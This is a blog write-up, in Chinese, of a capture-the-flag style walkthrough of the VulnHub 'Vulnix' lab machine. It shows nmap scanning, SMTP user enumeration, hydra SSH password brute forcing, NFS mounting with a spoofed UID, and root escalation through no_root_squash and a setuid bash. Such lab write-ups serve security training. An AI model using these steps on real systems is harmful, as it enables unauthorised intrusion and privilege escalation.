• VulnHub靶场篇3-hacklab-vulnix


    靶机地址:HackLAB: Vulnix ~ VulnHub

    文章主要是简要记录每一个过程,没有专门地对每一步截图,也许有些步骤中并不详细,会在文末附上相关详细的渗透文章

    主机探测&端口扫描

    端口扫描结果:

    hhh@HHH:~/tmp$ nmap -A -sV -p- -T5 192.168.31.218
    Starting Nmap 7.80 ( https://nmap.org ) at 2021-01-26 17:35 CST
    Nmap scan report for 192.168.31.218
    Host is up (0.0017s latency).
    Not shown: 65518 closed ports
    PORT      STATE SERVICE    VERSION
    22/tcp    open  ssh        OpenSSH 5.9p1 Debian 5ubuntu1 (Ubuntu Linux; protocol 2.0)
    | ssh-hostkey: 
    |   1024 10:cd:9e:a0:e4:e0:30:24:3e:bd:67:5f:75:4a:33:bf (DSA)
    |   2048 bc:f9:24:07:2f:cb:76:80:0d:27:a6:48:52:0a:24:3a (RSA)
    |_  256 4d:bb:4a:c1:18:e8:da:d1:82:6f:58:52:9c:ee:34:5f (ECDSA)
    25/tcp    open  smtp       Postfix smtpd
    |_smtp-commands: vulnix, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, 
    |_ssl-date: 2021-01-26T09:38:25+00:00; +6s from scanner time.
    79/tcp    open  finger     Debian fingerd
    | finger: Login     Name       Tty      Idle  Login Time   Office     Office Phonex0D
    |_vulnix               pts/0       5  Jan 26 08:28 (192.168.31.145)x0D
    110/tcp   open  pop3?
    |_ssl-date: 2021-01-26T09:38:25+00:00; +6s from scanner time.
    111/tcp   open  rpcbind    2-4 (RPC #100000)
    | rpcinfo: 
    |   program version    port/proto  service
    |   100000  2,3,4        111/tcp   rpcbind
    |   100000  2,3,4        111/udp   rpcbind
    |   100000  3,4          111/tcp6  rpcbind
    |   100000  3,4          111/udp6  rpcbind
    |   100003  2,3,4       2049/tcp   nfs
    |   100003  2,3,4       2049/tcp6  nfs
    |   100003  2,3,4       2049/udp   nfs
    |   100003  2,3,4       2049/udp6  nfs
    |   100005  1,2,3      35659/tcp   mountd
    |   100005  1,2,3      41858/udp6  mountd
    |   100005  1,2,3      50793/tcp6  mountd
    |   100005  1,2,3      54601/udp   mountd
    |   100021  1,3,4      33047/udp6  nlockmgr
    |   100021  1,3,4      47683/udp   nlockmgr
    |   100021  1,3,4      56508/tcp   nlockmgr
    |   100021  1,3,4      60816/tcp6  nlockmgr
    |   100024  1          35356/udp6  status
    |   100024  1          45360/udp   status
    |   100024  1          55661/tcp   status
    |   100024  1          55832/tcp6  status
    |   100227  2,3         2049/tcp   nfs_acl
    |   100227  2,3         2049/tcp6  nfs_acl
    |   100227  2,3         2049/udp   nfs_acl
    |_  100227  2,3         2049/udp6  nfs_acl
    143/tcp   open  imap       Dovecot imapd
    |_ssl-date: 2021-01-26T09:38:25+00:00; +6s from scanner time.
    512/tcp   open  exec       netkit-rsh rexecd
    513/tcp   open  login      OpenBSD or Solaris rlogind
    514/tcp   open  tcpwrapped
    993/tcp   open  ssl/imaps?
    |_ssl-date: 2021-01-26T09:38:24+00:00; +5s from scanner time.
    995/tcp   open  ssl/pop3s?
    |_ssl-date: 2021-01-26T09:38:24+00:00; +5s from scanner time.
    2049/tcp  open  nfs_acl    2-3 (RPC #100227)
    35659/tcp open  mountd     1-3 (RPC #100005)
    49537/tcp open  mountd     1-3 (RPC #100005)
    55661/tcp open  status     1 (RPC #100024)
    55696/tcp open  mountd     1-3 (RPC #100005)
    56508/tcp open  nlockmgr   1-4 (RPC #100021)
    Service Info: Host:  vulnix; OS: Linux; CPE: cpe:/o:linux:linux_kernel
    
    Host script results:
    |_clock-skew: mean: 5s, deviation: 0s, median: 5s
    
    Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
    Nmap done: 1 IP address (1 host up) scanned in 328.66 seconds
    

    信息搜集&权限获取

    枚举用户

    从25端口入手,通过smtp可以查看到用户
    连接上25端口smtp服务

    nc -nv 192.168.31.218 25
    -n 指定ip地址
    -v 详细输出
    

    使用VRFY命令发现该命令未被禁用

    VRFY vulnix
    返回 250 说明有该用户
    

    可以借此来枚举用户
    SMTP用户枚举原理简介及相关工具 - FreeBuf网络安全行业门户
    使用smtp-user-enum脚本,KALI2020没有该脚本,去github上下载即可 传送门 解压后使用
    在该目录下输入下面命令,即可枚举出用户名

    perl smtp-user-enum.pl -M VRFY -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t 192.168.31.218
    

    结果:

    ######## Scan started at Tue Jan 26 17:47:04 2021 #########
    192.168.31.218: bin exists
    192.168.31.218: backup exists
    192.168.31.218: daemon exists
    192.168.31.218: games exists
    192.168.31.218: gnats exists
    192.168.31.218: irc exists
    192.168.31.218: landscape exists
    192.168.31.218: libuuid exists
    192.168.31.218: list exists
    192.168.31.218: lp exists
    192.168.31.218: man exists
    192.168.31.218: mail exists
    192.168.31.218: messagebus exists
    192.168.31.218: news exists
    192.168.31.218: nobody exists
    192.168.31.218: postfix exists
    192.168.31.218: postmaster exists
    192.168.31.218: proxy exists
    192.168.31.218: root exists
    192.168.31.218: ROOT exists                                                          
    192.168.31.218: sshd exists                                                           
    192.168.31.218: sync exists                                                           
    192.168.31.218: sys exists                                                           
    192.168.31.218: syslog exists                                                        
    192.168.31.218: user exists                                                           
    192.168.31.218: uucp exists                                                          
    192.168.31.218: whoopsie exists
    192.168.31.218: www-data exists
    ######## Scan completed at Tue Jan 26 17:47:05 2021 #########
    28 results.
    

    可以使用finger指令来验证该用户的存在

    finger user@192.168.31.218 会显示有该用户
    finger aa@192.168.31.218 会提示无该用户
    

    NFS服务

    nfs是一种可分散式的网络文件系统,在一个局域网内可以共享目录和文件

    Linux下NFS配置及远程挂载 - 七彩乌云 - 博客园 (cnblogs.com)

    提供了间接修改目录文件的可能

    1. 先查询服务器相关信息
      showmount命令查询NFS服务器的相关信息,可以得知需要挂载的是vulnix的home目录
      Linux系统如何使用showmount命令-系统之家 (xitongzhijia.net)
    > showmount -e 192.168.31.218
    
    Export list for 192.168.31.218:
    /home/vulnix *
    
    1. 挂载该服务器的共享文件到本地上
      Linux挂载命令mount用法及参数详解 | 《Linux就该这么学》 (linuxprobe.com)
    mount -t nfs 192.168.31.218:/home/vulnix /tmp/nfs
    
    1. 访问该目录,发现访问不了
      是要和vulnix有相同ID才可以访问
    2. 爆破user的密码
      得到结果user : letmein
    hydra -l user -P /usr/share/wordlists/rockyou.txt -t 4 192.168.31.218 ssh
    
    1. 登录user账号
      查看到vulnix的id为2008
    ssh user@192.168.31.218
    
    1. 本地创建id为2008的vulnix用户
    useradd -u 2008 vulnix
    passwd vulnix # 设置密码
    
    1. 切换用户进入本地的vulnix
    su vulnix
    
    1. 生成公钥私钥
    ssh-keygen
    路径默认
    密码任意输入
    
    1. 放置公钥到挂载目录上,实际就是vulnix的home目录
    cp /.ssh/id_rsa.pub /tmp/nfs
    
    1. 私钥连接到真实vulnix用户上
      输入创建时的密码
    ssh vulnix@192.168.31.218
    

    权限提升

    思路一:通过bash进行提权

    1. 修改nfs文件任意用户都可访问,在vulnix用户下修改/etc/exports文件
      sudoedit 命令 - 知乎 (zhihu.com)
    sudoedit /etc/exports
    将root_squash修改成no_root_squash
    
    1. 通过vulnix用户拷贝一份bash到挂载目录处
    vulnix@vulnix:~$ cp /bin/bash
    
    1. 重启靶机,重新挂载该目录
    umount /tmp/nfs
    mount -t nfs 192.168.31.218:/home/vulnix /tmp/nfs
    
    1. 以本地的root权限进行访问挂载目录的nfs文件夹,修改该bash的权限
      使得vulnix可以直接执行
    chmod 4777 bash
    chown root.root bash
    
    root@HHH:tmp/nfs# ls -al
    总用量 932
    drwxr-x--- 4 vulnix vulnix   4096 1月  26 16:28 .
    drwxr-xr-x 4 hhh    hhh      4096 1月  26 16:20 ..
    -rwsrwxrwx 1 root   root   920788 1月  26 16:27 bash
    -rw------- 1 vulnix vulnix    119 1月  26 16:28 .bash_history
    -rw-r--r-- 1 vulnix vulnix    220 4月   3  2012 .bash_logout
    -rw-r--r-- 1 vulnix vulnix   3486 4月   3  2012 .bashrc
    drwx------ 2 vulnix vulnix   4096 1月  26 05:21 .cache
    -rw-r--r-- 1 vulnix vulnix    675 4月   3  2012 .profile
    drwxr-xr-x 2 vulnix vulnix   4096 1月  26 05:20 .ssh
    
    1. *在用户vulnix中执行bash
    ./bash -p
    

    不是很清楚-p是什么意思

    1. 前往root目录查看文件即可

    思路二:将/root挂载到服务器,本地访问

    1. 挂载/root到nfs服务器上
    vulnix@vulnix:~$ sudoedit /etc/exports
    添加一行
    /root    *(no_root_squash,insecure,rw)
    
    1. 重启靶机,挂载/root目录
    mount -t nfs 192.168.31.218:/root /tmp/nfs/
    
    1. 本地访问
    root@HHH:tmp# cd nfs
    root@HHH:tmp/nfs# ls
    trophy.txt
    root@HHH:tmp/nfs# cat trophy.txt 
    cc614640424f5bd60ce5d5264899c3be
    

    此方法参考:CTF靶场系列-Vulnix - FreeBuf网络安全行业门户

    总结

    1. smtp服务,用户枚举
    2. nfs文件系统(共享)
    3. 挂载服务器到本地
    4. 创建指定id号的用户
    5. 公钥私钥登录、ssh
    6. sudoedit使用
    7. 修改权限chmod、chown
  • 相关阅读:
    Dynamics CRM9.0更新了Chrome后菜单按钮变形
    质量属性
    机器学习理解
    大道之简的理解
    架构之美理解
    1.13
    1.12
    1.11
    1.10
    Flex 替换输入的字符串
  • 原文地址:https://www.cnblogs.com/labster/p/14332386.html
Copyright © 2020-2023  润新知